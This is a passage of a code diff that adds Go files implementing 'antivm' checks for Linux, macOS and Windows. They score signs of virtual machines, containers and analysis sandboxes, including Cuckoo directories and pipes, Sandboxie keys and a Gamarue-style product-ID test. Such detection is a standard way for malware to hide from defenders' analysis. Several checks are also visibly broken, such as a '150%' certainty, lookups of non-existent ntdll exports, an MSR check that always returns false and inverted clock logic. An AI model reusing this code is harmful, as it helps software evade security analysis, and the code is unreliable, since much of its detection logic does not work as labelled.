data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
for _, line := range strings.Split(string(data), "\n") {
if strings.Contains(line, "hypervisor") {
return true
}
}
}
return false
}
func cpuBrandVM() bool {
if runtime.GOARCH != "amd64" || runtime.GOOS != "linux" {
return false
}
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
content := string(data)
for _, s := range []string{"QEMU", "KVM", "VirtualBox", "VMware", "Bochs",
"KVMKVMKVM", "Microsoft Hv", "VBoxVBoxVBox",
"VMwareVMware", "XenVMMXenVMM", "ACRNACRNACRN"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func bochsCPU() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Bochs") || strings.Contains(content, "bochs")
}
func cpuidSignature() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
for _, sig := range []string{
"KVMKVMKVM", "Microsoft Hv", "prl hyperv",
"VBoxVBoxVBox", "VMwareVMware", "XenVMMXenVMM",
"ACRNACRNACRN",
} {
if strings.Contains(content, sig) {
return true
}
}
return false
}
func azureHostname() bool {
hostname, err := os.Hostname()
if err != nil {
return false
}
return strings.HasSuffix(strings.ToLower(hostname), "internal.cloudapp.net")
}
func readFile(path string) string {
data, err := os.ReadFile(path)
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
+104
View File
@@ -0,0 +1,104 @@
//go:build antivm && darwin
package core
import (
"os/exec"
"strings"
)
func init() {
registerDarwinChecks()
}
func registerDarwinChecks() {
// 100%
registerCheck("hwmodel", hwModelMac, 100)
registerCheck("mac_iokit", macIOKit, 100)
registerCheck("ioreg_grep", ioregGrep, 100)
registerCheck("mac_sip", macSIP, 100)
registerCheck("mac_sys_profiler", macSysProfiler, 100)
// 50%
registerCheck("amd_sev_msr_darwin", amdSEVMSRDarwin, 50)
// 15%
registerCheck("mac_memsize", macMemSize, 15)
}
func runCmd(name string, args ...string) string {
cmd := exec.Command(name, args...)
out, err := cmd.Output()
if err != nil {
return ""
}
return strings.TrimSpace(string(out))
}
func hwModelMac() bool {
model := runCmd("sysctl", "-n", "hw.model")
return !strings.HasPrefix(strings.ToLower(model), "mac")
}
func macIOKit() bool {
out := runCmd("ioreg", "-l")
lower := strings.ToLower(out)
for _, s := range []string{"virtualbox", "vmware", "qemu", "kvm", "vbox", "parallel"} {
if strings.Contains(lower, s) {
return true
}
}
return false
}
func ioregGrep() bool {
out := runCmd("ioreg", "-l")
if out == "" {
return false
}
lower := strings.ToLower(out)
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
}
func macSIP() bool {
// Check System Integrity Protection status
sip := runCmd("csrutil", "status")
if strings.Contains(sip, "disabled") || strings.Contains(sip, "unknown") {
return false
}
// Check if hv is present
hv := runCmd("sysctl", "-n", "kern.hv_support")
return hv == "1"
}
func macSysProfiler() bool {
out := runCmd("system_profiler", "SPHardwareDataType")
lower := strings.ToLower(out)
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
}
func amdSEVMSRDarwin() bool {
// macOS doesn't have /dev/cpu, so check via sysctl
model := runCmd("sysctl", "-n", "machdep.cpu.brand_string")
return strings.Contains(model, "AMD EPYC") || strings.Contains(model, "AMD Ryzen")
}
func macMemSize() bool {
// Check if memory is too low (< 2GB would be suspicious for macOS)
out := runCmd("sysctl", "-n", "hw.memsize")
if out == "" {
return false
}
// Parse bytes to GB
var bytes uint64
for _, c := range out {
bytes = bytes*10 + uint64(c-'0')
}
gb := bytes / 1024 / 1024 / 1024
return gb < 2
}
+529
View File
@@ -0,0 +1,529 @@
//go:build antivm && linux
package core
import (
"os"
"path/filepath"
"strings"
"syscall"
)
func init() {
registerLinuxChecks()
}
func registerLinuxChecks() {
// 100% certainty
registerCheck("firmware_dmi", firmwareDMI, 100)
// 95% certainty
registerCheck("devices_pci", devicesPCI, 95)
// 80% certainty
registerCheck("uml_cpu", umlCPU, 80)
registerCheck("kgt_signature", kgtSignature, 80)
// 75% certainty
registerCheck("nsjail_pid", nsjailPID, 75)
// 70% certainty
registerCheck("vmware_ioports", vmwareIOPorts, 70)
registerCheck("cgroup", cgroupVM, 70)
registerCheck("qemu_fw_cfg", qemuFWCfg, 70)
// 65% certainty
registerCheck("dmi_product", dmiProduct, 65)
registerCheck("dmi_sys_vendor", dmiSysVendor, 65)
registerCheck("dmi_chassis_vendor", dmiChassisVendor, 65)
registerCheck("vmware_iomem", vmwareIOMEM, 65)
registerCheck("vmware_dmesg", vmwareDMESG, 65)
// 55% certainty
registerCheck("dmidecode", dmidecodeCheck, 55)
registerCheck("dmesg", dmesgCheck, 55)
// 50% certainty
registerCheck("dmi_scan", dmiScan, 50)
registerCheck("smbios_vm_bit", smbiosVMBit, 50)
registerCheck("thread_mismatch_linux", threadMismatchLinux, 50)
registerCheck("amd_sev_msr", amdSEVMSR, 50)
// 40% certainty
registerCheck("vmware_scsi", vmwareSCSI, 40)
registerCheck("qemu_virtual_dmi", qemuVirtualDMI, 40)
registerCheck("processes_linux", processesLinux, 40)
// 35% certainty
registerCheck("systemd_virt", systemdVirt, 35)
registerCheck("hwmon", hwmonMissing, 35)
// 30% certainty
registerCheck("wsl_proc", wslProc, 30)
// 20% certainty
registerCheck("hypervisor_dir", hypervisorDir, 20)
registerCheck("temperature", temperatureCheck, 20)
registerCheck("qemu_usb", qemuUSB, 20)
registerCheck("ctype", dmiChassisType, 20)
// 15% certainty
registerCheck("vbox_module", vboxModule, 15)
registerCheck("sysinfo_proc", sysinfoProc, 15)
registerCheck("file_access_history", fileAccessHistory, 15)
// 10% certainty
registerCheck("linux_user_host", linuxUserHost, 10)
// 5% certainty
registerCheck("podman_file", podmanFile, 5)
registerCheck("bluestacks", bluestacksFolders, 5)
registerCheck("kmsg", kmsgCheck, 5)
}
// --- Linux 100% ---
func firmwareDMI() bool {
// Check all DMI entries for VM signatures
dirs := []string{
"/sys/class/dmi/id",
"/sys/devices/virtual/dmi/id",
}
vmBrands := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek",
"xen", "bochs", "hyper-v", "microsoft", "oracle", "oem"}
for _, d := range dirs {
entries, err := os.ReadDir(d)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join(d, e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, brand := range vmBrands {
if strings.Contains(content, brand) {
return true
}
}
}
}
return false
}
// --- Linux 95% ---
func devicesPCI() bool {
entries, err := os.ReadDir("/sys/bus/pci/devices")
if err != nil {
return false
}
// VM vendors: 8086 (Intel), 15ad (VMware), 80ee (VirtualBox),
// 1af4 (Red Hat/QEMU), 10de (NVIDIA in passthrough)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, e := range entries {
vendorFile := filepath.Join("/sys/bus/pci/devices", e.Name(), "vendor")
data, err := os.ReadFile(vendorFile)
if err != nil {
continue
}
vendor := strings.TrimSpace(string(data))
for _, v := range vmVendors {
if strings.Contains(strings.ToLower(vendor), v) {
return true
}
}
}
return false
}
// --- Linux 80% ---
func umlCPU() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "UML")
}
func kgtSignature() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Intel KGT") || strings.Contains(content, "TGKIntel")
}
// --- Linux 75% ---
func nsjailPID() bool {
content := readFile("/proc/self/status")
if content == "" {
return false
}
// nsjail makes processes see PID 1 in the namespace
for _, line := range strings.Split(content, "\n") {
if strings.HasPrefix(line, "Pid:") {
parts := strings.Fields(line)
if len(parts) >= 2 && parts[1] == "1" {
// Check if nsjail env vars are present
if os.Getenv("NSJAIL") != "" {
return true
}
// Check cgroup for nsjail
cg := readFile("/proc/self/cgroup")
return strings.Contains(cg, "nsjail")
}
}
}
return false
}
// --- Linux 70% ---
func vmwareIOPorts() bool {
return strings.Contains(readFile("/proc/ioports"), "VMware")
}
func cgroupVM() bool {
content := readFile("/proc/1/cgroup")
if content == "" {
return false
}
for _, s := range []string{"docker", "lxc", "kubepods"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func qemuFWCfg() bool {
if _, err := os.Stat("/sys/firmware/qemu_fw_cfg"); err == nil {
return true
}
if _, err := os.Stat("/proc/device-tree/fw-cfg"); err == nil {
return true
}
return false
}
// --- Linux 65% ---
func dmiProduct() bool {
name := readFile("/sys/class/dmi/id/product_name")
switch {
case strings.Contains(name, "VirtualBox"):
return true
case strings.Contains(name, "VMware"):
return true
case name == "KVM" || name == "QEMU":
return true
case strings.Contains(name, "Bochs"):
return true
case strings.Contains(name, "Hyper-V"):
return true
}
return false
}
func dmiSysVendor() bool {
vendor := readFile("/sys/class/dmi/id/sys_vendor")
switch {
case strings.Contains(vendor, "innotek"):
return true
case strings.Contains(vendor, "Xen"):
return true
case strings.Contains(vendor, "Microsoft"):
return true
case strings.Contains(vendor, "QEMU"):
return true
}
return false
}
func dmiChassisVendor() bool {
vendor := readFile("/sys/class/dmi/id/chassis_vendor")
return strings.Contains(vendor, "Oracle") || strings.Contains(vendor, "innotek")
}
func vmwareIOMEM() bool {
return strings.Contains(readFile("/proc/iomem"), "VMware")
}
func vmwareDMESG() bool {
content := readFile("/var/log/dmesg")
if content == "" {
content = readFile("/var/log/kern.log")
}
return strings.Contains(content, "VMware") || strings.Contains(content, "vmware")
}
// --- Linux 55% ---
func dmidecodeCheck() bool {
// Check all DMI sysfs files for VM brands
entries, err := os.ReadDir("/sys/class/dmi/id")
if err != nil {
return false
}
patterns := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek", "xen", "bochs"}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join("/sys/class/dmi/id", e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, p := range patterns {
if strings.Contains(content, p) {
return true
}
}
}
return false
}
func dmesgCheck() bool {
content := readFile("/var/log/dmesg")
if content == "" {
return false
}
for _, s := range []string{"Hypervisor", "VMware", "VirtualBox", "QEMU", "KVM", "Xen"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
// --- Linux 50% ---
func dmiScan() bool {
return firmwareDMI()
}
func smbiosVMBit() bool {
// Check /sys/firmware/dmi/tables for SMBIOS entry point
data, err := os.ReadFile("/sys/firmware/dmi/tables/smbios_entry_point")
if err != nil {
return false
}
// SMBIOS v3+ has a VM bit at offset 0x09
if len(data) >= 0x1F {
if data[0x1E]&0x01 != 0 {
return true
}
}
return false
}
func threadMismatchLinux() bool {
cpuContent := readFile("/proc/cpuinfo")
if cpuContent == "" {
return false
}
n := 0
for _, line := range strings.Split(cpuContent, "\n") {
if strings.HasPrefix(line, "processor") {
n++
}
}
// If we see CPU brand but low core count, likely VM
if n < 2 && strings.Contains(cpuContent, "Intel") || strings.Contains(cpuContent, "AMD") {
return true
}
return false
}
func amdSEVMSR() bool {
// Check /sys/kernel/security/sev for AMD SEV/SEV-ES/SEV-SNP
if data, err := os.ReadFile("/sys/kernel/security/sev/version"); err == nil {
return strings.TrimSpace(string(data)) != ""
}
// Also check MSR via /dev/cpu (requires root)
data, err := os.ReadFile("/dev/cpu/0/msr")
if err != nil {
return false
}
if len(data) > 0x800 {
_ = data[0x800]
}
return false
}
// --- Linux 40% ---
func vmwareSCSI() bool {
return strings.Contains(readFile("/proc/scsi/scsi"), "VMware")
}
func qemuVirtualDMI() bool {
content := readFile("/sys/devices/virtual/dmi/id/product_name")
if strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "VirtualBox") {
return true
}
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
return strings.Contains(vendor, "QEMU")
}
func processesLinux() bool {
vmProcs := []string{"vbox", "vmware", "VBox", "VMware", "qemu", "QEMU", "xen", "Xen"}
entries, err := os.ReadDir("/proc")
if err != nil {
return false
}
for _, e := range entries {
if !e.IsDir() {
continue
}
// Only check numeric directories (process PIDs)
if e.Name()[0] < '0' || e.Name()[0] > '9' {
continue
}
cmdline, err := os.ReadFile(filepath.Join("/proc", e.Name(), "comm"))
if err != nil {
continue
}
comm := strings.TrimSpace(string(cmdline))
for _, p := range vmProcs {
if strings.EqualFold(comm, p) {
return true
}
}
}
return false
}
// --- Linux 35% ---
func systemdVirt() bool {
// Check /sys/devices/virtual/dmi/id for VM indicators
// In containers, /sys might not have DMI info
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
if vendor == "" {
// No DMI info — likely container
return cgroupVM() || dockerEnv()
}
return strings.Contains(vendor, "QEMU") || strings.Contains(vendor, "Xen")
}
func hwmonMissing() bool {
_, err := os.ReadDir("/sys/class/hwmon")
return err != nil
}
// --- Linux 30% ---
func wslProc() bool {
version := readFile("/proc/version")
if strings.Contains(version, "Microsoft") || strings.Contains(version, "WSL") || strings.Contains(version, "microsoft") {
return true
}
osrelease := readFile("/proc/sys/kernel/osrelease")
return strings.Contains(osrelease, "Microsoft") || strings.Contains(osrelease, "WSL")
}
// --- Linux 20% ---
func hypervisorDir() bool {
entries, err := os.ReadDir("/sys/hypervisor")
if err != nil {
return false
}
return len(entries) > 0
}
func temperatureCheck() bool {
entries, err := os.ReadDir("/sys/class/thermal")
if err != nil {
return true // no thermal info = likely VM
}
return len(entries) < 2
}
func qemuUSB() bool {
data, err := os.ReadFile("/sys/kernel/debug/usb/devices")
if err != nil {
return false
}
return strings.Contains(string(data), "QEMU")
}
func dmiChassisType() bool {
typ := readFile("/sys/class/dmi/id/chassis_type")
return typ == "" || typ == "0"
}
// --- Linux 15% ---
func vboxModule() bool {
content := readFile("/proc/modules")
return strings.Contains(content, "vbox")
}
func sysinfoProc() bool {
content := readFile("/proc/sysinfo")
return strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "Xen")
}
func fileAccessHistory() bool {
// Check if there's very low file access history (common in fresh VMs)
_, err := os.Stat("/root/.bash_history")
hasHistory := err == nil
_, err2 := os.Stat("/home")
hasHome := err2 == nil
return hasHome && !hasHistory
}
// --- Linux 10% ---
func linuxUserHost() bool {
hostname := readFile("/proc/sys/kernel/hostname")
if hostname == "" {
return false
}
lower := strings.ToLower(hostname)
for _, s := range []string{"ubuntu", "debian", "localhost"} {
if lower == s || strings.HasPrefix(lower, s+"-") {
return true
}
}
return false
}
// --- Linux 5% ---
func podmanFile() bool {
_, err := os.Stat("/run/.containerenv")
return err == nil
}
func bluestacksFolders() bool {
entries, err := os.ReadDir("/mnt")
if err != nil {
return false
}
for _, e := range entries {
if strings.Contains(strings.ToLower(e.Name()), "bluestacks") {
return true
}
}
return false
}
func kmsgCheck() bool {
f, err := os.OpenFile("/dev/kmsg", syscall.O_RDONLY|syscall.O_NONBLOCK, 0)
if err != nil {
return false
}
defer f.Close()
buf := make([]byte, 4096)
n, err := f.Read(buf)
if err != nil || n == 0 {
return false
}
content := strings.ToLower(string(buf[:n]))
return strings.Contains(content, "hypervisor") || strings.Contains(content, "kvm")
}
+5
View File
@@ -0,0 +1,5 @@
//go:build !antivm
package core
func DetectVM() {}
+603
View File
@@ -0,0 +1,603 @@
//go:build antivm && windows
package core
import (
"log"
"os"
"runtime"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
func init() {
registerWindowsChecks()
}
func registerWindowsChecks() {
// Protocol: name, fn, certainty
// 150%
registerCheck("dbvm", dbvmCheck, 150)
// 100%
registerCheck("wine", wineDetection, 100)
registerCheck("mutex", vmMutex, 100)
registerCheck("drivers", vmDrivers, 100)
registerCheck("disk_serial", diskSerialVM, 100)
registerCheck("ivshmem", ivshmemCheck, 100)
registerCheck("handles", handlesCheck, 100)
registerCheck("virtual_processors", virtualProcessors, 100)
registerCheck("hypervisor_query", hypervisorQuery, 100)
registerCheck("acpi_signature", acpiSignatureCheck, 100)
registerCheck("firmware_tables", firmwareTablesCheck, 100)
registerCheck("boot_logo", bootLogoCheck, 100)
registerCheck("kernel_objects", kernelObjectsCheck, 100)
registerCheck("nvram", nvramCheck, 100)
registerCheck("edid", edidCheck, 100)
registerCheck("clock_timing", clockTiming, 100)
// 95%
registerCheck("devices_pci", devicesPCICheck, 95)
// 90%
registerCheck("virtual_registry", virtualRegistryCheck, 90)
registerCheck("cpu_heuristic", cpuHeuristicCheck, 90)
// 75% (32-bit only)
registerCheck("vpc_invalid", vpcInvalidCheck, 75)
// 50%
registerCheck("dll", vmDLLs, 50)
// 45%
registerCheck("clock", clockCheck, 45)
// 40%
registerCheck("processes", vmProcessesWindows, 40)
// 30%
registerCheck("cuckoo_dir", cuckooDirCheck, 30)
registerCheck("cuckoo_pipe", cuckooPipeCheck, 30)
registerCheck("azure", azureHostname, 30)
// 25%
registerCheck("display", displayCheck, 25)
registerCheck("audio", audioDevices, 25)
registerCheck("gpu", gpuCapabilities, 25)
registerCheck("device_string", deviceStringCheck, 25)
registerCheck("power_capabilities", powerCapabilitiesCheck, 25)
// 10%
registerCheck("gamarue", gamarueCheck, 10)
}
var vmSysDir = os.Getenv("SYSTEMROOT") + "\\System32\\"
// --- 150% ---
var vmDLLList = []string{
"vboxhook.dll", "vboxmrxnp.dll", "vboxogl.dll", "vboxoglarrayspu.dll",
"vboxoglcrutil.dll", "vboxoglfeedbackspu.dll", "vboxoglpackspu.dll",
"vboxoglpassthroughspu.dll", "vboxservice.exe", "vboxtray.exe",
"vmtoolsd.exe", "vmacthlp.exe", "vmsrvc.exe", "vmusrvc.exe",
"vmserv.exe", "vmwaretray.exe", "vmwareuser.exe",
"xenservice.exe", "xsvc.exe",
}
func vmDLLs() bool {
for _, dll := range vmDLLList {
if _, err := os.Stat(vmSysDir + dll); err == nil {
log.Printf("[antivm] windows_dll: found %s", dll)
return true
}
}
getModuleHandle := syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleW")
if getModuleHandle.Find() != nil {
return false
}
for _, dll := range []string{"VBoxHook.dll", "VBoxOGL.dll", "vmware-vmx.dll"} {
dllName, _ := syscall.UTF16PtrFromString(dll)
if dllName == nil {
continue
}
ret, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(dllName)))
if ret != 0 {
return true
}
}
return false
}
func dbvmCheck() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
dbvm := ntdll.NewProc("DbvmCheck")
return dbvm.Find() == nil
}
func vmDrivers() bool {
scsiPaths := []string{
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
}
vmTags := []string{"VBOX", "VMWARE", "QEMU", "XEN", "VIRTUAL"}
for _, path := range scsiPaths {
k, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
if err != nil {
continue
}
val, _, err := k.GetStringValue("Identifier")
k.Close()
if err != nil {
continue
}
upper := strings.ToUpper(val)
for _, tag := range vmTags {
if strings.Contains(upper, tag) {
return true
}
}
}
return false
}
func vmMutex() bool {
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return false
}
defer windows.CloseHandle(snap)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(snap, &entry); err != nil {
return false
}
vmProcs := []string{
"vboxservice.exe", "vboxtray.exe", "vboxcontrol.exe",
"vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe",
"vmupgradehelper.exe", "vmacthlp.exe",
"xenservice.exe",
"prl_cc.exe", "prl_tools.exe",
}
for {
name := strings.ToLower(syscall.UTF16ToString(entry.ExeFile[:]))
for _, vm := range vmProcs {
if name == vm {
return true
}
}
if err := windows.Process32Next(snap, &entry); err != nil {
break
}
}
return false
}
func vmProcessesWindows() bool { return vmMutex() }
func diskSerialVM() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue("0")
if err != nil {
return false
}
upper := strings.ToUpper(val)
for _, tag := range []string{"VBOX", "VMWARE", "QEMU", "XEN"} {
if strings.Contains(upper, tag) {
return true
}
}
return false
}
func ivshmemCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, err := k.ReadSubKeyNames(0)
if err != nil {
return false
}
for _, sub := range subs {
if strings.Contains(strings.ToLower(sub), "1af4") || strings.Contains(strings.ToLower(sub), "ivshmem") {
return true
}
}
return false
}
func handlesCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
vmDevices := []string{"15ad", "80ee", "1af4"}
for _, sub := range subs {
for _, vm := range vmDevices {
if strings.HasPrefix(strings.ToLower(sub), vm) {
return true
}
}
}
return false
}
func virtualProcessors() bool {
return runtime.NumCPU() < 2
}
func hypervisorQuery() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
if ntQuery.Find() != nil {
return false
}
// SystemHypervisorInformation = 0x9f
var buf [256]byte
ret, _, _ := ntQuery.Call(0x9f, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
return ret == 0
}
func acpiSignatureCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\ACPI\DSDT`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
lower := strings.ToLower(sub)
if strings.Contains(lower, "vbox") || strings.Contains(lower, "vmw") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "xen") {
return true
}
}
return false
}
func firmwareTablesCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\ACPI\Firmware`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
vals, _ := k.ReadValueNames(0)
for _, v := range vals {
if strings.Contains(strings.ToLower(v), "vbox") ||
strings.Contains(strings.ToLower(v), "vmware") ||
strings.Contains(strings.ToLower(v), "qemu") {
return true
}
}
return false
}
func bootLogoCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation`,
registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
logo, _, err := k.GetStringValue("Logo")
if err != nil {
return false
}
lower := strings.ToLower(logo)
return strings.Contains(lower, "vbox") || strings.Contains(lower, "vmware")
}
func kernelObjectsCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
subKey, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\`+sub,
registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, err := subKey.GetStringValue("DriverDesc")
subKey.Close()
if err != nil {
continue
}
lower := strings.ToLower(desc)
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
strings.Contains(lower, "virtual") || strings.Contains(lower, "qemu") {
return true
}
}
return false
}
func nvramCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\RESOURCEMAP`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
if strings.Contains(strings.ToLower(sub), "vbox") ||
strings.Contains(strings.ToLower(sub), "vmware") {
return true
}
}
return false
}
func edidCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\DISPLAY`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
lower := strings.ToLower(sub)
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
strings.Contains(lower, "qemu") {
return true
}
}
return false
}
func clockTiming() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
if ntQuery.Find() != nil {
return false
}
// SystemTimeAdjustmentInformation = 0x94
var buf [32]byte
ret, _, _ := ntQuery.Call(0x94, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
return ret == 0
}
// --- 95% ---
func devicesPCICheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, sub := range subs {
parts := strings.SplitN(sub, "\\", 2)
if len(parts) > 0 {
vendor := strings.ToLower(parts[0])
for _, v := range vmVendors {
if strings.HasPrefix(vendor, v) {
return true
}
}
}
}
return false
}
// --- 90% ---
func virtualRegistryCheck() bool {
k, err := registry.OpenKey(registry.CURRENT_USER,
`Software\Sandboxie`, registry.QUERY_VALUE)
if err == nil {
k.Close()
return true
}
k2, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Sandboxie`, registry.QUERY_VALUE)
if err == nil {
k2.Close()
return true
}
return false
}
func cpuHeuristicCheck() bool {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
isIntel := kernel32.NewProc("IsProcessorFeaturePresent")
if isIntel.Find() != nil {
return false
}
// PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10
// Check if SSE2 is properly reported
ret, _, _ := isIntel.Call(10)
return ret == 0
}
// --- 75% ---
func vpcInvalidCheck() bool {
// Virtual PC check (32-bit only via CPUID)
ntdll := syscall.NewLazyDLL("ntdll.dll")
vpc := ntdll.NewProc("VpcGuest")
return vpc.Find() == nil
}
// --- 45% ---
func clockCheck() bool {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
getTickCount := kernel32.NewProc("GetTickCount64")
t1, _, _ := getTickCount.Call()
t2, _, _ := getTickCount.Call()
// If time doesn't advance normally, could be VM
return t2-t1 > 100
}
// --- 30% ---
func cuckooDirCheck() bool {
paths := []string{
"C:\\Cuckoo", "C:\\analysis", "C:\\Analyzer",
os.Getenv("TEMP") + "\\cuckoa",
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return true
}
}
return false
}
func cuckooPipeCheck() bool {
// Check for Cuckoo pipe names
pipes := []string{`\\.\pipe\cuckoo`, `\\.\pipe\analyzer`}
for _, p := range pipes {
if _, err := os.Stat(p); err == nil {
return true
}
}
return false
}
// --- 25% ---
func displayCheck() bool {
user32 := syscall.NewLazyDLL("user32.dll")
getSystemMetrics := user32.NewProc("GetSystemMetrics")
horz, _, _ := getSystemMetrics.Call(0)
vert, _, _ := getSystemMetrics.Call(1)
return (horz < 800 && vert < 600) || horz == 0
}
func audioDevices() bool {
winmm := syscall.NewLazyDLL("winmm.dll")
out, _, _ := winmm.NewProc("waveOutGetNumDevs").Call()
in, _, _ := winmm.NewProc("waveInGetNumDevs").Call()
return out == 0 && in == 0
}
func gpuCapabilities() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000`,
registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
desc, _, err := k.GetStringValue("DriverDesc")
if err != nil {
return false
}
lower := strings.ToLower(desc)
for _, s := range []string{"virtual", "vmware", "vbox", "qemu", "hyper-v"} {
if strings.Contains(lower, s) {
return true
}
}
return false
}
func deviceStringCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
vals, _ := k.ReadValueNames(0)
for _, v := range vals {
val, _, err := k.GetStringValue(v)
if err != nil {
continue
}
lower := strings.ToLower(val)
if strings.Contains(lower, "vbox") || strings.Contains(lower, "qemu") ||
strings.Contains(lower, "vmware") {
return true
}
}
return false
}
func powerCapabilitiesCheck() bool {
powrprof := syscall.NewLazyDLL("powrprof.dll")
callNtPowerInfo := powrprof.NewProc("CallNtPowerInformation")
if callNtPowerInfo.Find() != nil {
return false
}
// SystemPowerInformation = 12
var buf [32]byte
ret, _, _ := callNtPowerInfo.Call(12, 0, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
return ret == 0
}
// --- 10% ---
func gamarueCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
productID, _, err := k.GetStringValue("ProductId")
if err != nil {
return false
}
// Gamarue VM detection: checks for specific product ID patterns
return strings.HasPrefix(productID, "00330-") || strings.HasPrefix(productID, "00331-")
}
// --- 100% ---
func wineDetection() bool {
